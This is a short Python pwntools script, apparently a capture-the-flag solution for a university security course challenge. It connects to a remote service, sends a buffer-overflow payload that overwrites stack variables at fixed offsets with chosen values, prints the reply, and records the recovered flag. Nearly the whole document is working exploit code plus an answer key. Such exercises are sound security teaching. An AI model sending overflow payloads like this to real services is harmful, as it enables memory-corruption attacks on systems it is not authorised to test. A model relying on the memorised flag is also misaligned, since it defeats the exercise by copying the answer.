from pwn import *
connection = remote('shepherd.ii.uib.no', 9001)
payload = fit({4:0x41414141, 44:0xc0cac01a})
connection.sendline(payload)
print(connection.recvall())

#Flag: INF226{fr33d0m_v4r14bl3_s4v3d_th3_d4y}